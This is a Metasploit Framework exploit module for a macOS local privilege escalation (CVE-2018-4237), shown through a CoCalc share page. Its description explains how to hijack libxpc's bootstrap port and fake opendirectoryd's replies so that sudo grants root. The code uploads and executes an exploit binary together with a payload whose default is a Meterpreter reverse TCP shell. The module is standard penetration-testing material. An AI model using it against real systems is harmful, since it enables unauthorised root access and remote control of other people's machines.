CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/libxpc_mitm_ssudo.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Post::OSX::System
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'Mac OS X libxpc MITM Privilege Escalation',
18
'Description' => %q{
19
This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
20
The task_set_special_port API allows callers to overwrite their bootstrap port,
21
which is used to communicate with launchd. This port is inherited across forks:
22
child processes will use the same bootstrap port as the parent.
23
By overwriting the bootstrap port and forking a child processes, we can now gain
24
a MitM position between our child and launchd.
25
26
To gain root we target the sudo binary and intercept its communication with
27
opendirectoryd, which is used by sudo to verify credentials. We modify the
28
replies from opendirectoryd to make it look like our password was valid.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [ 'saelo' ],
32
'References' => [
33
['CVE', '2018-4237'],
34
['URL', 'https://github.com/saelo/pwn2own2018'],
35
],
36
'Arch' => [ ARCH_X64 ],
37
'Platform' => 'osx',
38
'DefaultTarget' => 0,
39
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
40
'Targets' => [
41
[ 'Mac OS X x64 (Native Payload)', { } ]
42
],
43
'DisclosureDate' => '2018-03-15'))
44
register_advanced_options [
45
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
46
]
47
end
48
49
def upload_executable_file(filepath, filedata)
50
print_status("Uploading file: '#{filepath}'")
51
write_file(filepath, filedata)
52
chmod(filepath)
53
register_file_for_cleanup(filepath)
54
end
55
56
def check
57
version = Rex::Version.new(get_system_version)
58
if version >= Rex::Version.new('10.13.4')
59
CheckCode::Safe
60
else
61
CheckCode::Appears
62
end
63
end
64
65
def exploit
66
if check != CheckCode::Appears
67
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
68
end
69
70
if is_root?
71
fail_with Failure::BadConfig, 'Session already has root privileges'
72
end
73
74
unless writable? datastore['WritableDir']
75
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
76
end
77
78
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
79
exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
80
upload_executable_file(exploit_file, exploit_data)
81
payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
82
upload_executable_file(payload_file, generate_payload_exe)
83
exploit_cmd = "#{exploit_file} #{payload_file}"
84
print_status("Executing cmd '#{exploit_cmd}'")
85
cmd_exec(exploit_cmd)
86
end
87
end
88
89